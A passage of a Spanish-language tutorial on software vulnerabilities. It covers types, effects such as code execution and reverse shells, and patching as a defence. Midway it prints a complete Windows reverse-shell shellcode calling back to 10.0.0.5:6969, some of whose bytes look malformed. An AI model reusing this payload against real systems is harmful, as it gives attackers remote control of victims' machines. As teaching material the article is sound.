En teoría, visto el software como un “Sandbox” (caja negra), cualquier posible fallo de seguridad o vulnerabilidad de este tan solo tendría un dominio de actuación dentro de esa “caja negra”. Es decir, que ante un fallo de cualquier tipo, el peor de los casos sería un deterioro, pérdida de información, cuelgue… de dicho software. En la práctica, sabemos que por mucho que los procesos se independicen o sean ejecutados como “cajas negras”, estos están a su vez gobernados generalmente por un OS detrás, lo que hace que en muchas ocasiones estos software vulnerables puedan interactuar directamente con el OS que lo gestiona comprometiendo al propio sistema. Es por ello que los efectos de las vulnerabilidades serán muy variados, desde simplemente lograr detener el software en cuestión, hasta lograr el control total del sistema intervenido.

 

 

Tipos de vulnerabilidades y sus efectos

 

Las vulnerabilidades pueden clasificarse de muchas formas diferentes, desde atendiendo a su peligrosidad, a sus efectos, a su ámbito de efecto… es por ello que posiblemente en cualquier otro lugar puedan ser clasificadas de cualquier otro modo. Desde mi punto de vista, quizás la división más importante de estas vulnerabilidades es el ámbito de acción de estas, es decir, si la vulnerabilidad supone un peligro de forma remota o localmente. Aquí, cuando nos referimos a “Vulnerabilidad remota” estamos hablando de un fallo de seguridad que puede ser “disparado” o aprovechado de algún modo sin tener un acceso directo al equipo en cuestión. Por otro lado hablaremos de “vulnerabilidades locales” cuando dicho fallo de seguridad pueda tan solo ser disparado o aprovechado solo sí tenemos acceso directo a dicho dispositivo. Parece plausible que a priori podría parecer que las vulnerabilidades realmente peligrosas son las remotas, pero esto no tiene por qué ser así. Que una vulnerabilidad sea remota o local sean más o menos peligrosa (potencialmente) depende de lo que un atacante desea lograr y los resultados que pueda obtener con ellas. En un momento dado una vulnerabilidad remota puede no servir para nada, mientras que una local puede darte acceso total al sistema. Parece evidente por tanto, que para que exista una vulnerabilidad remota, el software afectado debe de estar de modo alguno a la red (ya sea LAN o WAN), mientras que las vulnerabilidades locales pueden estar presente en cualquier software.

A partir de esta primera clasificación, se abren una gran cantidad de diferentes vulnerabilidades comunes que suele afrontar el software. No quiere decir que todas ellas sean posibles en todo el software existente, ni siquiera que todas ellas puedan ser aplicadas tanto en sistemas remotos como locales. Algunas de ellas las veremos en detalle en los temas siguientes, con ejemplos reales. Pero de nada sirve conocer exactamente un tipo de vulnerabilidad si no se le ve todo como un conjunto. Algunas vulnerabilidades además se han hecho muy famosas con los años, otras en cambio, siendo igualmente de peligrosas parecen pasar más desapercibida por programadores y asesores de seguridad. Veamos unas cuantas de ellas sin entrar en detalle, que como digo será parte del temario que vendrá más adelante.

Posiblemente, sin duda alguna las vulnerabilidades de software más importantes son los Desbordamientos de Buffer y los punteros sueltos. Cualquier programa que se esté ejecutando es a groso modo un conjunto de instrucciones que son ejecutadas por el procesador de forma secuencial (suponiendo un solo hilo de ejecución y no existiese ningún salto). Esas instrucciones antes de poder ser enviadas al procesador deben de estar evidentemente antes en memoria principal, y esta es siempre susceptible a ataques tanto externos como internos, con el fin de modificar/alterar ese flujo de ejecución que podría considerarse el normal de dicho programa. Los desbordamientos de buffer y los punteros sueltos son técnicas que permitirán como veremos más adelante la ruptura de ese flujo normal de ejecución, alterando de algún modo la memoria del sistema que contiene las instrucciones que se van a ejecutar o “jugando” con ellas para obtener otros resultados. Dicho de otro modo, básicamente se trata de poder controlar de algún modo el registro EIP, que es el registro que indica la próxima instrucción a ejecutar.

En segundo lugar, posiblemente las vulnerabilidades más comunes sean todas las relacionadas con las validaciones de datos. A día de hoy, prácticamente cualquier software permite de un modo u otro la introducción de datos a este, ya sea de forma automatizada o a petición por el usuario. En un mundo ideal todo el software sabría interpretar perfectamente que es aquello que se está introduciendo como entrada de datos y lo trataría acorde de ello. No obstante, desde el punto de vista de un programador esta es una tarea hercúlea. Es este y no otro quien debe de introducir en el software todas las reglas de validación de los datos que crea oportunas con el fin de que el programa tan solo acepte los valores esperados. El caso más tonto podría ser una calculadora, en la que el programador evidentemente tan solo permitiría la introducción de números (hablamos del caso más simple de todo, obviamos hexadecimal, constantes…), y si se intentase introducir una letra directamente no la permitiría o nos informaría del error. El problema es que esto es muchas veces algo muy muy complejo, y suele ser muy fácil que a un programador se le escape el saneamiento de cualquier entrada, permitiendo que un atacante se aproveche de ello. Dentro de este campo, se encuentren posiblemente las vulnerabilidades más comunes a día de hoy, posiblemente por la explosión de Internet: Inyección de código, Inyección eMail, Inyección SQL, Cross-site Scripting, Path traversal… esto no quiere decir que las vulnerabilidades de validaciones de datos sean inservibles en software local no expuesto a Internet, simplemente que estas han tomado una gran importancia gracias a que precisamente Internet se perfila cada día más como una red de interacción constante. Dicho de un modo simple… si tenemos que introducir cualquier cosa en cualquier web (una búsqueda, un comentario, una opinión, una descarga, un nombre de usuario/contraseña…), este podría ser malignamente creado para producir un efecto devastador en el servidor en el que está alojado el servicio que sea.

En tercer lugar y no menos importante tendríamos las Escaladas de privilegios. Prácticamente la totalidad de cualquier dispositivo que pudiésemos considerar “seguros”, están gobernados por un OS que tienen una jerarquía clara de permisos. Del mismo modo que los programa se ejecutan en cierto modo como “cajas negras”, estos son ejecutados en la medida de lo posible siempre con los permisos más restrictivos posibles, o dicho de otro modo, tan solo se les concede los permisos necesarios para su funcionamiento óptimo. De este modo, se puede estructurar todo el OS con una filosofía clara sobre quién y cómo se puede ejecutar cualquier programa. Es aquí donde nace la figura archiconocida del “Súper Usuario” ó “Administrador” o en terminología Linux “root”. En cualquier sistema y prácticamente en cualquier software, se conocen dichos privilegios y/o usuarios como el acceso total. Si hablamos por ejemplo de un OS como Windows 7, la figura del Administrador tendría privilegios totales sobre el sistema, permitiendo así cualquier cambio al sistema que este desease, desde cambio de las políticas de seguridad, creación/eliminación de usuarios y sus contraseña… Pero esto no solo es aplicable a los OS, sino que también al software!! Un buen ejemplo de esto sería una base de datos MySQL por ejemplo, en el que la figurada de Administrador ó root tendría acceso total a la base de datos, no solo a determinadas tablas o algunos valores. Cuanto más avanza el tiempo, más se intenta restringir los privilegios del software, con la idea de que en el peor de los casos, incluso ante una ejecución de código arbitraria, este tan solo pudiese ejecutar dicho código como un usuario lo más limitado posible, y de este modo tener el menor acceso posible al sistema.

 

Evidentemente estos tres puntos no resumen todos los tipos de vulnerabilidades que podemos encontrar a día de hoy, pero sí las más extendidas, clásicas y potencialmente peligrosas a día de hoy, y que serán las que veamos más adelante. ¿Pero qué hay de la finalidad de todas esas vulnerabilidades? Evidentemente un hacker usará cualquier vulnerabilidad a su alcance para lograr su objetivo, ¿pero cuál es su objetivo? ¿Qué se logra o qué se puede lograr con dichos fallos de seguridad?

Como se ha dicho todo depende del objetivo o los deseos del hacker, no obstante no todas las vulnerabilidades prosiguen ni mucho menos el mismo fin, y suele ser más que habitual el uso de varias vulnerabilidades para lograr la tarea que se ha propuesto el atacante. De todos modos listar los efectos comunes que se suelen derivar de las vulnerabilidades es fácil, estos suelen ser bastante claros:

 

La ejecución de código arbitraria

 Posiblemente, la ejecución de código arbitrario sea el máximo exponente al que puede llegar un hacker. Cuando un fallo de seguridad de cualquier software puede provocar este “estado” en el sistema atacado, podemos decir que el Hacker ha logrado su Jaque Mate. La ejecución de código arbitrario se define como la capacidad de poder ejecutar a voluntad del hacker cualquier código en el equipo afectado. Esto es de suma importancia, ya que si un hacker puede ejecutar código a su voluntad en dicho equipo, con casi total seguridad posea control total sobre dicho equipo (siempre y cuando los privilegios que posea en dicho equipo sean también de administrador). Cuando se trata de una vulnerabilidad remota que causa dicho estado, hablaríamos entonces del peor escenario posible, una ejecución de código remota, en la que el hacker podría tomar posesión (control total) de un equipo que simplemente estaba conectado a Internet o a una Red local. Aunque simple de explicar, posiblemente no lo sea tanto el entender las repercusiones de esto. Básicamente si un hacker posee un exploit de ejecución remota para un software y versión de este que tú usas, podrá obtener control total sobre tu equipo a su voluntad. La cosa evidentemente no es para reírse.

La relación entre la ejecución arbitraria de código con el control total del equipo es directa, pero a lo mejor no es tan obvia como otras cuestiones que se están discutiendo aquí. Normalmente, en los concursos y demostraciones de seguridad lo que se exige siempre es lo mismo, la ejecución arbitraria de código, la cual se suele demostrar haciendo que el experto en seguridad sea capaz de abrir la calculadora del sistema atacado por medio de un fallo de seguridad encontrado en cualquier software. Pero de nuevo, igual que el hacker instruye al equipo para que ejecute la aplicación calculadora de Windows (por ejemplo), puede instruir también al equipo vulnerable a que ejecute una serie de instrucciones que conforman por ejemplo un servidor VNC (software usado para control remoto), o lo que es más común en este mundo, instruir al equipo objetivo para dotar al hacker de una Shell a dicho equipo (una “línea de comandos”). La ventaja de inducir una Shell remota es evidente. Una Shell remota, proporciona al hacker capacidad sobrada de realizar cualquier tarea en el equipo objetivo, ya sea el robo de información, ya sea la instalación de una puerta trasera por la cual conectarse más adelante. Además, el código necesario para crear una Shell es infinitamente menor al necesario para crear un servidor VNC (por ejemplo), lo cual también es de agradecer a la hora de preparar las armas al hacker. Ni que decir tiene que la creación de una Shell o cualquier otro código dependerá totalmente del equipo afectado, así por ejemplo el código necesario para abrir una Shell remota en Windows no es usable para hacerlo en Linux y viceversa.

La ejecución de código arbitraria no obstante se enfrenta a dos problemas clásicos. El primero de ellos es algo que hemos comentado ya: Los privilegios. Cuando un software es afectado por un fallo de seguridad con la ejecución de código arbitrario, cualquier código que sea ejecutado a través de este fallo tendrá tan solo los privilegios heredados por el software afectado. Si dicho software estaba siendo ejecutado con permisos administrativos, entonces el hacker ejecutará código con tales privilegios, tendría una Shell siendo administrador. Pero en cambio, si el proceso en cuestión se estaba ejecutando con permisos limitados, el hacker por el contrario no podrá poseer un control total sobre el sistema, tan solo a aquellas partes de este en las que sus privilegios limitados les puedan dar acceso, sin poder acceder a otras partes que serían interesantes del sistema las cuales tan solo tendría a lo mejor el administrador de este. Es aquí donde comprendemos ahora la importancia de las vulnerabilidades de Escaladas de privilegios de las que hablamos anteriormente.

El segundo problema al que se enfrentan los hackers una vez logrado la ejecución de código remoto es sin duda alguna uno de los némesis de estos, los Firewalls. Mientras el acceso que esté intentando realizar el hacker sea local (con acceso directo al equipo) no hay mucho problema, pero cuando se está intentando un acceso remoto a un equipo, un Firewall por cutre que sea (incluso simplemente un dispositivo NAT) filtraría cualquier conexión entrante al equipo que no se solicitase. Es decir, que incluso cuando el hacker pudiese ejecutar código remoto en el equipo víctima, el Firewall de Windows, el Router del usuario o el Firewall de la empresa denegarían cualquier conexión a una Shell estándar creada en el equipo remoto, lo cual complicaría enormemente al hacker su labor, el cual aunque podría ejecutar código no podría “inyectar” un pequeño programa servidor al cual conectarse. No obstante, todo némesis tiene su espada mágica para vencerle, y a día de hoy existen técnicas para circunvalar estas defensas. En dicho caso lo más normal es usar conexiones inversas. Las conexiones inversas no solucionan el problema de raíz, ya que un Firewall puede configurarse de forma más o menos estricta para evitar estas conexiones inversas, pero con estas técnicas automáticamente se logra evitar tanto dispositivos NAT como el 99% de todos los Firewalls configurados por defecto.

En redes, para establecer una conexión es evidente que una de las dos partes sea la que comience la comunicación. Aquel equipo/software qué comienza la comunicación lo denominamos generalmente como “cliente”, mientras que el equipo/software que generalmente está esperando a que se conecten a él se le denomina servidor. De este modo, si deseamos poder conectarnos a un equipo de forma remota, el equipo remoto hará teóricamente de servidor y nuestro equipo de cliente, ya que es el equipo remoto el que estará a la espera de una conexión nuestra, y será nuestro equipo el que inicie la comunicación con él. Pues bien, el truco es que el 99% de todos los firewalls o dispositivos NAT filtran (deniegan) cualquier conexión entrante por defecto. Es decir, que si deseamos poner en escucha cualquier software en un equipo (un software tipo servidor), antes tendremos que tomar las medidas precisas en los Firewall o Routers intermedios para que estos no intervengan y permitan las conexiones entrantes dirigidas a dicho servicio (las famosas aperturas de puertos de los Routers). Evidentemente esto lo puede hacer el administrador de esos equipos, pero no un hacker. En cambio, los mismos dispositivos no tienen problema alguno de permitir que un software cliente tenga acceso al exterior… nadie se imagina tener que estar configurando los Firewalls cada vez que su equipo quiere conectarse a cualquier servicio de la red.

Las conexiones inversas por tanto se basan en esta disyuntiva para evitar los Firewalls y dispositivos NAT. En vez de crear por ejemplo una Shell ordinaria (que actuaría de servidor), hacen que la Shell creada en el equipo objetivo sea una conexión saliente a un servidor del hacker que permanece a la escucha. Será el equipo víctima quien iniciará la conexión al equipo remoto, y al cual le dará la Shell remota. Dado que la conexión es saliente desde el punto de vista del equipo atacado, los dispositivos NAT y Firewalls de la víctima permitirán la conexión, mientras que el servidor del hacker estará configurado y preparado para recibir las conexiones remotas inducidas por el hacker en cuestión. A este tipo de Shell se las conoce por tanto como Shell Inversas. Por supuesto que un Firewall podría configurarse para permitir tan solo ciertas conexiones salientes, pero es algo que generalmente no se usa, tan solo en servidores en los que se concede tan solo conexiones salientes a ciertos servicios.

A diferencia de un malware que simplemente es un programa previamente creado, estos “códigos arbitrarios” no son tan simples de manejar como se podría pensar. Si lo que desea el hacker es ejecutar un programa concreto del equipo objetivo puede quizás no tener una complejidad muy grande, en cambio si lo que el hacker desea es inyectar su propio código la cosa es algo más complicada, ya que por lo general es necesario inyectar directamente el código en lenguaje máquina, es decir, una secuencia de valores hexadecimales que corresponden a los opcode y valores de las instrucciones ensamblador que se desean enviar al equipo víctima. A esto se le denomina generalmente ShellCode, dado que generalmente el código que se incluye es el necesario para crear una Shell. Actualmente existen generadores de shellcode en función de las necesidades que tengamos: Si deseamos una Shell directa o inversa, la IP del host remoto/origen, el puerto de conexión… etc etc etc. Veamos un ejemplo de shellcode para crear una Shell inversa al equipo del hacker ubicado en la IP 10.0.0.5 por el puerto 6969:

“\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\
\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\
\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\
xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\
\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\
\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\
\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\
\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\
\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\
\x89\xc7\x68\x0a\x00\x00\x05\x68\x02\x00\x1b\x39\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\
\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\
\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\
\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\
\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\
\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5″

Esa cadena de valores hexadecimales no son más que las instrucciones en ensamblador que se ejecutarán en el procesador y los valores que los acompañan. Por ejemplo, el primer valor hexadecimal xFC es el opcode de la instrucción CLD (Clear direction flag) que lo que hace es limpiar (poner a cero) el flag DF del procesador. Como digo, códigos de este tipo son complejos de analizar y de comprender. En cambio tienen una gran ventaja, y es que tan solo bastan unos cuantos bytes (en este caso 314) para crear una Shell inversa totalmente configurada y funcional, una cuestión muy importante a la hora de intentar aprovechar cualquier vulnerabilidad, dado que no siempre se puede inyectar toda la cantidad de código que uno desee.

Aquí de nuevo vemos la gran diferencia entre un hacker de verdad y un simple Script Kiddie. Aunque actualmente existen herramientas para generar el shellcode deseado para cualquier plataforma, un buen hacker estaría capacitado para crear en un momento dado el shellcode necesario y por descontado comprender y modificar cualquier shellcode generado. Un script Kiddie sabría que es un shellcode y como generarlo en todo caso, sin tener la menor idea de que significa esa cadena de valores. Evidentemente dudo mucho que a día de hoy existan muchas personas que sepan de memoria el juego de instrucciones completo y actual de Intel. Hablamos de cientos de instrucciones si es que no llegan al millar, hablamos del “mamotreto” oficial de Intel de su juego de instrucciones, que son a día de hoy 1643 páginas.

Evidentemente la ejecución de código arbitraria no es exclusiva de las vulnerabilidades remotas, y pese a lo que se pueda pensar, un exploit local que permite la ejecución de código arbitrario puede ser realmente útil, por poner un ejemplo imaginar un exploit que afecte a Acrobat Reader y permita ejecución de código arbitraría en el equipo que abriese un documento PDF maléficamente creado. El resultado sería que la víctima al abrir el documento PDF haría que su Acrobat vulnerable cayese en la trampa de ejecutar en ese preciso momento el código malicioso del hacker, que podría ser tanto una Shell inversa como por ejemplo la instalación de una puerta trasera en el equipo. El hacker tan solo tendría que enviar sus documentos PDF por correo o por cualquier otro método a sus víctimas, ¿y quien va a pensar que un PDF puede ser en sí un caballo de troya (y nunca mejor dicho)? La imaginación es el límite para el hacker.

 

Denegación de Servicio (DoS)

 Las siglas DoS o DDoS (Denegación de servicio distribuida) son en los tiempos que corren bastante conocidas, rara es la semana que no se lee en la prensa que un grupo de exaltados y delincuentes han realizado un ataque de denegación de servicio contra un servidor tal, el cual han dejado inutilizable durante cierto tiempo. La denegación de servicio se produce cuando un servicio/software/sistema degrada o incluso detiene por completo su funcionamiento debido generalmente al agotamiento de los recursos disponibles para dicho servicio/software/sistema. De nuevo, el cómo pertrechar este tipo de ataques se verá más adelante, aquí tan solo veremos a groso modo el efecto que produce. La ventaja de los ataques DoS es su facilidad de llevarse a cabo, sobre todo los DDoS, que simplemente son DoS en el que participan varias fuentes emisoras del ataque.

Normamente cuando se habla de DoS nos solemos referir al bloqueo de un servidor web/dns que ha sido llevado a cabo gracias a la participación de cientos o miles de personas (generalmente redes de robots botnets). Pero un DoS no es algo exclusivo a servidores, y en realidad cualquier software puede sufrir de un DoS. Para que cualquier programa pueda estar ejecutándose de forma normal, debe de disponer una serie de recursos a su disposición, como pueda ser Memoria Virtual (RAM y HDD), interrupciones, flujos de datos de entrada y salida, lecturas y escrituras de disco, procesador… si algún recurso, crítico para la aplicación, se agota, el propio sistema es el que casi con toda posibilidad finalice el programa en cuestión para que la extenuación no pueda afectar al resto del sistema. Pensar en un programa que nada más ejecutarse comienza a reservar memoria sin parar… llegará un momento en el que agote la memoria del sistema!! Si es un buen sistema, este resolvería el conflicto o denegando más memoria a dicha aplicación o en el peor de los casos finalizando el proceso y liberando la memoria consumida. En el peor de los casos el proceso consumiría la RAM del sistema y este tendría que comenzar con uso intensivo de memoria virtual, lo que produciría una degradación e incluso bloqueo de todo el sistema. En cualquier caso, fuese el OS el que finalizase el proceso o el sistema mismo el que degradase su propio rendimiento, estaríamos ante un DoS

Por desgracia, es muy fácil provocar un DoS en un software, aunque solo repercuta en el reinicio de dicho programa o su bloqueo temporal.

 

Acceso a información restringida

 No está relacionado directamente con la escala de privilegios. Con acceso a información restringida nos referimos a que gracias a una vulnerabilidad el hacker podría acceder a datos que de otro modo les sería imposible, como por ejemplo el acceso o robo de una base de datos o ganar el acceso a un servidor sin tener siquiera que ser un usuario autentificado de dicho sistema. Normalmente esto es lo que buscan la mayoría (no todas) de las vulnerabilidades de verificación de datos, como pueda ser la inyección SQL o el path traversal por ejemplo.

Evidentemente lo mejor que podría lograr un hacker sería una ejecución arbitraria de código, pero muchas veces no es necesario si lo que se desea es obtener un dato o conjunto de datos concretos que pueden ser extraídos de otros modos menos intrusivos, más silenciosos y muchas veces muy ingeniosos. No hay que ver las causas y efectos de las vulnerabilidades como un ranking en el que unas se tapan a otras, sino como un gran abanico de armas que un usuario malintencionado tiene a su alcance para lograr su tarea. Y la lógica y la experiencia nos dice que antes o después el sistema atacado cae si se le pone el empeño suficiente, aunque muchas muchas veces la solución viene de vulnerabilidades simples. A lo mejor un servidor puede ser realmente fuerte contra ataques clásicos de denegación de servicio y tener unas fuertes políticas de actualización de software que hacen que un exploit de ejecución remota sea muy complicado obtenerlo… pero a lo mejor a los programadores se les olvidó algún pequeño detalle en la programación PHP que gestiona la base de datos, detalle que puede aprovechar el hacker para obtener a lo mejor de la base de datos un listado completo de los usuarios y contraseñas de dicho servidor.

Hay que tener en cuenta que cualquier programador o administrador de sistema es humano, y que por muy cuidadoso que sea es muy muy complicado el tapar el 100% de todos los agujeros por los cuales se podría teóricamente colar un usuario para obtener esa información restringida. Le sorprendería a más de uno lo simple que puede resultar obtener del servidor atacado el archivo “passwd” (el archivo en el que Linux guarda los usuarios y contraseñas del sistema), y dado que de nuevo la gran mayoría de empresas, organizaciones… poseen unas políticas de contraseñas casi inexistentes, dichos archivos suelen ser muy simples de revertir. Un mal saneamiento en el código PHP, un error en código JS, en la configuración del servidor… y de seguro que habrá alguien al otro lado que sabrá hacer buen uso de ese descuido para machacar como desee dicho servidor.

 

Además de la ejecución de código remota, la denegación de servicio o el acceso a información restringida, existen otros tantos efectos produciros por las vulnerabilidades, lo que sucede es que generalmente estos efectos están totalmente asociados a la vulnerabilidad que los produce. Es decir, un desbordamiento de buffer puede producir tanto la ejecución de código remota como un ataque de denegación de servicio, mientras que el objetivo que persigue una vulnerabilidad de escala de privilegios es precisamente eso… una escala de privilegios. Lo mismo sucede con algunas vulnerabilidades de validación de datos como la inyección email.

 

 

Defensas ante las vulnerabilidades y como evitarlas

 

Al contrario que el malware cuya responsabilidad recae totalmente en el usuario, las vulnerabilidades no dependen directamente del usuario. Como tales, son responsabilidad de los programadores, de los ingenieros, de las organizaciones que crean los estándares… a priori son totalmente inevitables desde el punto de vista del usuario. ¿Pero del todo? En realidad el usuario no es el responsable de que una vulnerabilidad le afecte, él puede presuponer erróneamente que todo el software es perfecto y que todo funcionará siempre como tiene que funcionar. Claro que eso es en la teoría, en la práctica sabemos que esto no se cumple de ninguna de las maneras, por tanto sí que el usuario puede hacer algunas cosas para amortiguar los efectos de estas.

Actualmente existen algunas medidas o defensas si se prefieren llamar antes las vulnerabilidades. Pero antes de entrar en ellas hay que dejar muy claro que la eficacia de estas son siempre relativas, y cualquier defensa o medida que se pueda tomar para evitarlas puede ser circunvalada. No quita que sean del todo inefectivas, pero sí es cierto que no por tomarlas al pie de la letras todas ellas vamos a tener un equipo totalmente seguro contra las vulnerabilidades. Entre todas las medidas que existen (que son sin duda alguna pocas), podríamos clasificarlas como activas o pasivas en función de si requieren intervención directa del usuario o no.

 

Actualizar, Actualizar, Actualizar

 El arma más efectiva que cualquier usuario podrá tener en sus manos para defenderse de los fallos de seguridad… actualizarlos. La mayoría de las compañías serias de Software es algo que se toman relativamente en serio, y no es raro ver como periódicamente sacan actualizaciones de software, mucha de las cuales no son para añadir funciones o mejorar la experiencia, la gran mayoría de ellas van encaminadas a tapar los fallos de seguridad que se van descubriendo. Cuanto más crece el software o más complejo es, es más normal el tener ciclos de actualizaciones más cortos, actualizaciones automatizadas, compatibilidad con las medias de seguridad del sistema… y dada la importancia sobre todas las vulnerabilidades de las explotaciones remotas, aquel software que tiene una interacción directa con Internet será el software a tener más en cuenta a la hora de actualizarlo. No hay que olvidar que el software más importante a la hora de actualizar en cualquier dispositivo es el sistema operativo por su puesto!!

El objetivo de actualizar es evidente, si existe el fallo de seguridad X en el software que sea y dicho software posee un parche o actualización para corregir dicho fallo de seguridad, un hacker no podrá hacer uso de dicha vulnerabilidad/fallo de seguridad si ya ha sido corregido en el software que tenemos instalado. Cuanto más actualizado esté nuestro software, en teoría tendremos menos posibilidades de sufrir un ataque que explote alguna vulnerabilidad de nuestro dispositivo. Evidentemente todo suena demasiado bueno para ser verdad, y alguien podría caer en el tremendo error de creer que simplemente actualizando el software de su equipo de cuando en cuando estaría totalmente cubierto.

Las actualizaciones como método para protegerse de los exploits/ataques delos hacker tiene tres problemas principalmente, y tan solo uno de los 3 tiene solución. El primero sería la paradoja del huevo y la gallina, el segundo las políticas de empresas y el tercero las buenas o malas prácticas del usuario.

La paradoja del huevo y la gallina la conocemos todo: “Que fue antes, ¿el huevo o la gallina?”. Con las vulnerabilidades ocurre lo mismo. Que aparece antes, ¿el exploit/fallo de seguridad publicado o el parche de seguridad para corregirlo? Actualmente existen un par de bases de datos de referencia en las que se recogen la mayoría de los fallos de seguridad descubiertos hasta la fecha. La CVE (Common Vulnerabilities and Exposures) y la OSVDB (Open Source Vulnerability Database). Cualquier usuario podría acudir a cualquiera de ellas para informarse de los últimos informes públicos, que tampoco quiere decir que se recojan la totalidad de vulnerabilidades existentes, pero si es un buen punto de partida. Lo que quiere decir todo esto es que incluso un Script Kiddie podría acceder a estas bases de datos, informarse de algún fallo de seguridad de algún software y buscar un exploit para él. La preguta del millón y lo que nos lleva a la paradoja de la gallina y el huevo sería si las empresas/organizaciones/particulares del software vulnerable sacan los parches una vez que ya ha sido publicada dicha vulnerabilidad, con lo que existe una gran probabilidad de que dicho fallo de seguridad haya sido aprovechado en cientos o miles de equipos, o si por el contrario el exploit o fallo de seguridad se ha conocido a raíz de que la propia empresa publicase la vulnerabilidad junto con el parche para evitarla. Pues en este caso, a veces es la empresa la que actúa primero, y otras veces son los terceros los que actúan primero, y es por ellos por los que las empresas se ven forzadas a lanzar el parche de actualización.

Por otro lado he dicho las políticas de empresas, y esto es un problema muy muy grande. Muchas empresas, como por ejemplo la misma Apple, cree que lo mejor ante una vulnerabilidad es no decir nada, no darse prisa en parchearla, no darle la menor importancia hasta que se tenga constancia de que dicha vulnerabilidad ha sido ya explotada. El problema es que cuando se sabe fehacientemente que dicha vulnerabilidad ha sido utilizada, es porque han caído miles y decenas de miles de equipos. Estas empresas, en la que sin duda alguna repito Apple es especialista, creen que si no lanzan un boletín de seguridad explicando los fallos de seguridad encontrados en la semana (por ejemplo), no se podrán crear exploits para dichas vulnerabilidades. Bien, esto es cierto para los Script Kiddies, para los hackers estas prácticas es algo así como el azúcar o la cafeína que necesitan para poder hacer el mayor daño posible. Al otro lado de la baraja tendríamos la comunidad open Source, en el que el software es de código abierto. Esto evidentemente puede verse a priori como un riesgo para la seguridad de dicho software, ya que TODOS pueden ver el código y buscarle todos los fallos de seguridad posible. En cambio la práctica nos dice que precisamente el software open source suele ser en términos generales el más seguro, precisamente porque es revisado con mayor escrutinio, pero es también el que más se actualiza. En este sentido, la mejor empresa (de software privativo por supuesto) con la mejor política frente a estas amenazas es Microsoft por mucho que parezca extraño. Microsoft publica mensualmente y sin falta sus boletines de seguridad el mismo día de la semana desde años. En esas actualizaciones/boletines se parchea cualquier vulnerabilidad (y otras actualizaciones que nada tienen que ver con las vulnerabilidades) que haya sido descubierta tanto por MS como por terceros. Si la vulnerabilidad se ha clasificado como crítica, el boletín de seguridad suele llegar a Windows Update en cualquier momento, generalmente en cuanto la actualización está lista, sin necesidad de esperar a la publicación estándar.

Las políticas del propio usuario serían igual de importante. No todos los software disponen de procedimientos para actualizaciones automáticas programadas como por ejemplo Windows o Firefox, la mayoría del software de echo no dispone de estos procedimientos, y generalmente es el usuario quien tiene que tomarse la molestia de actualizar su software (generalmente esto excluye a Linux). Si tenemos un servidor en el que tenemos instalado por ejemplo un servidor web Apache y se descubre una vulnerabilidad que afecta a la versión Apache que tenemos instalada, por mucha prisa que se diese la fundación Apache en lanzar la actualización hasta que el administrador de dicho servidor no quisiese instalar dicha actualización el servidor sería vulnerable. Es decir que muchas veces (la mayoría posiblemente) es el usuario el que por desgana, por desconocimiento o por cualquier otra razón no mantiene actualizado el software de su equipo. Esto que lo haga un particular mal está, pero que lo haga un administrador de una PYME/empresa/organización… es algo casi sacrílego. Una cosa es que los administradores de sistemas sean recelosos siempre de instalar nuevas versiones que puedan hacer que las aplicaciones que manejan dejen de ser compatibles y otros problemas similares, y otra cosa muy diferente es no parchear actualizaciones de seguridad. Aun así, siempre que se pueda, hay que mantener el software actualizado, aunque a veces ello implique alguna incompatibilidad, que por supuesto se deberá de solucionar. Por muchas actualizaciones que existan, si la persona a cargo no actualiza de nada sirven.

Desde el punto de vista del usuario, no puede hacer nada por el primer problema o el segundo, ya que depende exclusivamente de las empresas y programadores en los que pone su confianza, pero al menos si puede hacer frente al tercer problema, y es donde hay que hacer mucho mucho hincapié, porque la mayoría de los usuarios no es consciente del problema que tiene entre manos. Un ejemplo real de hace unas semanas. Esto es extrapolable a cualquier dispositivo portátil por supuesto, pues bien, cuando sale en los medios una vulnerabilidad crítica por ejemplo de iPhone, que por medio de un PDF se puede obtener el control total de este, nadie parece afectarle demasiado, asegurando que en unos días a mucho tardar Apple lanzaría una actualización. Aquí automáticamente entran en juego los tres problemas anteriormente explicados. Primero, la paradoja del huevo y la gallina nos está diciendo que si la noticia está saltando ahora a la prensa, dicha vulnerabilidad existe ya en los círculos hacker desde hace meses!! Esto quiere decir que desde hace meses hasta la fecha de la comunicación a los medios cualquier hacker ha podido hacerse con el control de cualquier iPhone por medio de esta vulnerabilidad. En segundo lugar, la política de empresa por muy buena que sea (y la de Apple en este aspecto es casi la peor), hará que la actualización esté lista aun con muchos días por delante aun, lo cual implica que incluso haciéndose pública la noticia de la vulnerabilidad, Apple no dispondrá una actualización hasta pasadas unas semanas!! Es decir, a los meses en los que la vulnerabilidad tan solo era conocida para el mundo hacker ahora le sumamos las semanas o meses que pueda tardar Apple en lanzar la actualización, con lo que implica además que los Script kiddies y otros estarán al tanto de dicha 